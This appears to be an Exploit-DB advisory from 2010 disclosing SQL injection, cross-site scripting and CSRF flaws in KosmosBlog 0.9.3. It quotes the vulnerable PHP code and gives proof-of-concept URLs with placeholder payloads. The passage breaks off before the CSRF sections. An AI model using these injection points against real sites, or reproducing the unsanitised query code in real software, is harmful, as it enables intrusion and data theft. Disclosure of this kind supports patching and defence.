Exploit-DB #11224
Description: KosmosBlog 0.9.3 - SQL Injection / Cross-Site Scripting / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-01-22
Author: Milos Zivanovic

Exploit:
[#-----------------------------------------------------------------------------------------------#]
[#] Title: KosmosBlog 0.9.3 (SQLi/XSS/CSRF) Multiple Vulnerabilities
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com<http://gmail.com>
[#] Date: 22. January 2010.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: KosmosBlog
[#] Version: 0.9.3
[#] Platform: PHP
[#] Link: http://www.kosmosblog.com/KosmosBlog%20-%200.9.3.zip
[#] Vulnerability: SQL Injection, Cross Site Scripting, Cross Site Request Forgery
[#-----------------------------------------------------------------------------------------------#]

http://www.kosmosblog.com/index.php

[#]Content
|
|--Everybody
| |--SQL Injection
| | |--index.php (GET kategorija)
| | |--index.php (GET id)
| | |--index.php (GET monthID)
| | |--index.php (GET yearID)
| | |--register.php (POST username & email)
| |
| |--Cross Site Scripting
| |--addcomment.php (GET id)
|
|--Logged in users
|--Persistent Cross Site Scripting
| |--addcontentgo.php (POST naslov)
|
|--SQL Injection
| |--deletecontent.php (GET id)
| |--usermanager.php (GET id)
|
|--Cross Site Request Forgery To Remote Code Execution
| |--bannedusers.php
|
|--Cross Site Request Forgery To SQL Injection
|--commentsaction.php

[~] EVERYBODY

[*] SQL INJECTION

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/mainincludes/templates/blackkosmos/indextmplt.php
if (isset($_GET['kategorija'])) {
generisivesti($_GET['kategorija']);
} elseif (isset($_GET['id'])) {
generisivesti(0,$_GET['id'],0);
// function generisivesti does not sanitize input variable before passing it to mysql query
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]index.php (GET kategorija)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/index.php?kategorija=[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]

[-]index.php (GET id)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/index.php?id=1'[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/funkcije.php
if (isset($_GET['yearID']))
{
$date_yearID = $_GET['yearID'];
} else {
$date_yearID = $date['year'];
}

if (isset($_GET['monthID']))
{
$date_monthID = $_GET['monthID'];
} else {
$date_monthID = $date['month'];
}
....
$eventQuery = mysql_query("... LIKE '".$date_yearID."-".$date_monthID...);
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]index.php (GET monthID)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/index.php?yearID=2010&monthID=2'[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]

[-]index.php (GET yearID)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/index.php?yearID=2010'[SQL_Injection]&monthID=2
[POC----------------------------------------------------------------------------------------------]

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/register.php
$userN = $_POST['user'];
...
$mail = $_POST['mail'];
...
mysql_query("... VALUES('$userN', '$loz', '$mail', ...
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]register.php (POST username & email)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/register.php
[POC----------------------------------------------------------------------------------------------]

In username and email fields we can inject our SQL code.


[*] CROSS SITE SCRIPTING

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/addcomment.php
if ($_GET['page'] == 'add'){
$link = "../index.php?id=".$_GET['id'];
}
?>
...
<META HTTP-EQUIV="refresh" content="3;URL=<?php echo $link; ?>">
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]addcomment.php (GET id)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/administration/addcomment.php?page=add&id="[XSS]
[POC----------------------------------------------------------------------------------------------]


[~] LOGGED IN USERS

[*] PERSISTENT CROSS SITE SCRIPTING

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/addcontentgo.php
switch ($_POST['type']) {
case "blogpost":
$title = $_POST['title'];
...
$sql = "INSERT INTO main_kosmos_blog SET naslov = '$title'...
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]addcontentgo.php (POST naslov)

When adding new post to blog, field 'naslov' is not sanitized. Here can also be used SQL Injection but, there are much better positions for SQLi attack, so i've chosen Persistent XSS for this one.


[*] SQL INJECTION

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administratio